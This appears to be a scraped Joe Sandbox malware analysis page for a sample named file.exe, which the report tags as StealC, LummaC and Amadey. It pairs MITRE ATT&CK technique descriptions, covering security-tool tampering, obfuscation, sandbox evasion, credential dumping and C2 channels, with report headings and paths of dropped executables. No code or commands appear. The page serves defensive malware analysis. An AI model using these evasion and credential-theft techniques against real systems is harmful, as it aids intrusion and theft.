Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\A5RXP2EPUMEJDLAL7A3JI.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre